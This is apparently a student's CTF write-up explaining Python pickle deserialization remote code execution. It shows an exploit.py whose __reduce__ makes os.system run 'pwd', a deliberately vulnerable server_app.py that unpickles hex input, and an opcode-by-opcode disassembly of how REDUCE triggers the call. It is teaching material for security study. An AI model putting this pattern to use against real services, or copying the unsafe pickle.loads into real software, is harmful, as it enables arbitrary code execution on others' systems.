# Simple Web 0x15.5(Pickle) ###### tags: `NTUSTWS` `CTF` `Web` ## Background - Pickle Python magic method: `__reduce__` `__recude__` is used to define what needs to be done when deserializing. [Web Hacking | 終章【EDU-CTF 2021】](https://youtu.be/73uI7BK8k3g?t=236) ## Source code :::spoiler `exploit.py` ```python!= import pickle import os import pickletools class exploit(object): def __reduce__(self): return (os.system, ('pwd',)) serialized = pickle.dumps(exploit()) print(bytes.hex(serialized)) optim_s = pickletools.optimize(serialized) print(pickletools.dis(serialized)) print(pickletools.dis(optim_s)) ``` ::: --- :::spoiler server_app.py ```python= import pickle serialized = bytes.fromhex(input('Data: ')) pickle.loads(serialized) ``` ::: ## Output & Analyze ### In Linux ![](https://i.imgur.com/uYkq006.png) * `GLOBAL 'posix system'`: import `posix system`(which is a library in linux) * `BINPUT 0`: put the top stack to position 0 at Memo structure(array) * `BINUNICODE`: push string 'pwd' to stack top * `TUPLE1`: let the element of top stack be a tuple type * <font color="FF0000">`REDUCE`</font>: ``` args = stack.top() # which is 'pwd' in tuple type func = stack.top() # which is 'posix system' stack.push(func(args)) # then it'll execute os.system('pwd') and push the output to stack ``` ![](https://i.imgur.com/VqhEs9r.png) ### In Windows ![](https://i.imgur.com/nnWH7Uh.png) Much similar with the outcome on linux environment. ### Analyze ## How to RCE? ```bash! $ python exploit.py | python server_app.py Data: /home/sbk6401/NTUSTWS/deserialization ``` How did it do? First, `exploit.py` will serialize the exploit function and turned it to `byte.hex` then send it `server_app.py` Then `server_app.py` will deserialize it and during the process, it'll execute magic method `__reduce__`, suddenly, it'll execute `os.system('pwd')` at the same time → **RCE**